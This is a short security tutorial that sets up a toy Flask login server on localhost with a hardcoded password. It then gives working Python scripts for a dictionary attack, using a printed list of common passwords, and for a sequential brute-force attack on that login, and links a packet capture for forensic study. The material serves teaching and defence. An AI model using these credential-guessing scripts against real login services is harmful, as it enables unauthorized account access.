---
tags: security-tutorials
---
# Performing a brute force attack
:::info
**In this short demo you will:**
- Comprehend on how to perform a brute force attack
:::
First of all you have to open a web server with the code below.
```
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
post_payload = request.form
username = post_payload.get('username')
password = post_payload.get('password')
if username == 'Deepak' and password == '1994':
return jsonify({'message': 'Login Successful', 'success': True})
return jsonify({'message': 'Login failed', 'success': False})
app.run(debug=True)
```
and run it with the command below:
```
python server.py
```
Now you have two possibilities: you can either perform a dictionary attack or brute force attack.
```
import json
from requests import post as POST
URL = 'http://127.0.0.1:5000/login'
def famous_passwords():
with open('dictionary.txt', 'r') as f:
all_password = f.read().split('\n')
return all_password
if __name__ == '__main__':
success = False
guess_password = 0
for guess_password in famous_passwords():
response = POST(URL, data={'username': 'Deepak', 'password': str(guess_password)})
success = json.loads(response.text).get('success')
if success:
print(f'Password is {guess_password}')
break
```
**dictionary.<span>txt**
```
hello
ranger
shadow
baseball
donald
harley
hockey
letmein
maggie
mike
mustang
snoopy
buster
dragon
jordan
michael
michelle
mindy
patrick
123abc
andrew
bear
calvin
changeme
diamond
fuckme
fuckyou
matthew
miller
ou812
tiger
trustno1
12345678
alex
apple
avalon
brandy
chelsea
coffee
dave
falcon
freedom
gandalf
golf
green
helpme
linda
magic
merlin
molson
newyork
soccer
thomas
wizard
Monday
asdfgh
bandit
batman
boris
butthead
dorothy
eeyore
fishing
football
george
happy
iloveyou
jennifer
jonathan
love
marina
master
missy
monday
monkey
natasha
ncc1701
newpass
pamela
pepper
piglet
poohbear
pookie
rabbit
rachel
rocket
rose
smile
sparky
spring
steven
success
sunshine
thx1138
victoria
whatever
zapata
1
8675309
Internet
amanda
andy
angel
august
barney
biteme
boomer
brian
casey
coke
cowboy
delta
doctor
fisher
foobar
island
john
joshua
karen
marley
orange
please
rascal
richard
sarah
scooter
shalom
silver
skippy
stanley
taylor
welcome
zephyr
111111
1928
aaaaaa
abc
access
albert
alexander
1994
andrea
anna
anthony
asdfjkl;
ashley
basf
basketball
beavis
black
bob
booboo
bradley
brandon
buddy
caitlin
camaro
charlie
chicken
chris
cindy
cricket
dakota
dallas
daniel
david
debbie
dolphin
elephant
emily
fish
fred
friend
fucker
ginger
goodluck
hammer
heather
help
iceman
jason
jessica
jesus
joseph
jupiter
justin
kevin
knight
lacrosse
lakers
lizard
madison
mary
mother
muffin
murphy
ncc1701d
newuser
nirvana
none
paris
pat
pentium
phoenix
picture
rainbow
sandy
saturn
scott
shannon
shithead
skeeter
sophie
special
stephanie
stephen
steve
sweetie
teacher
tennis
test123
tommy
topgun
tristan
wally
william
wilson
1q2w3e
4321
666666
777
a12345
a1b2c3d4
alpha
amber
angela
angie
archie
asdf
blazer
bond007
booger
charles
christin
claire
control
danny
david1
dennis
digital
disney
dog
duck
duke
edward
elvis
felix
flipper
floyd
franklin
frodo
guest
honda
horses
hunter
indigo
info
james
jasper
jeremy
joe
julian
kelsey
killer
kingfish
lauren
marie
maryjane
matrix
maverick
mayday
mercury
micro
mitchell
morgan
mountain
niners
nothing
oliver
peace
peanut
pearljam
phantom
popcorn
princess
psycho
pumpkin
purple
randy
rebecca
reddog
robert
rocky
roses
salmon
sam
samson
sharon
sierra
smokey
startrek
steelers
stimpy
sunflower
superman
support
sydney
techno
telecom
test1
walter
willie
willow
winner
ziggy
zxcvbnm
7777
```
```
python dictionary_attack.py
```
**brute.<span>py**
```
import json
from requests import post as POST
URL = 'http://127.0.0.1:5000/login'
if __name__ == '__main__':
success = False
guess_password = 0
while not success:
response = POST(URL, data={'username': 'Deepak', 'password': str(guess_password)})
success = json.loads(response.text).get('success')
if success:
print(f'Password is {guess_password}')
guess_password += 1
```
```
python brute.py
```
## Forensic analysis
[passwd_analysis.pcapng](https://github.com/ramonfontes/computer-forensic/blob/master/passwd_analysis.pcapng)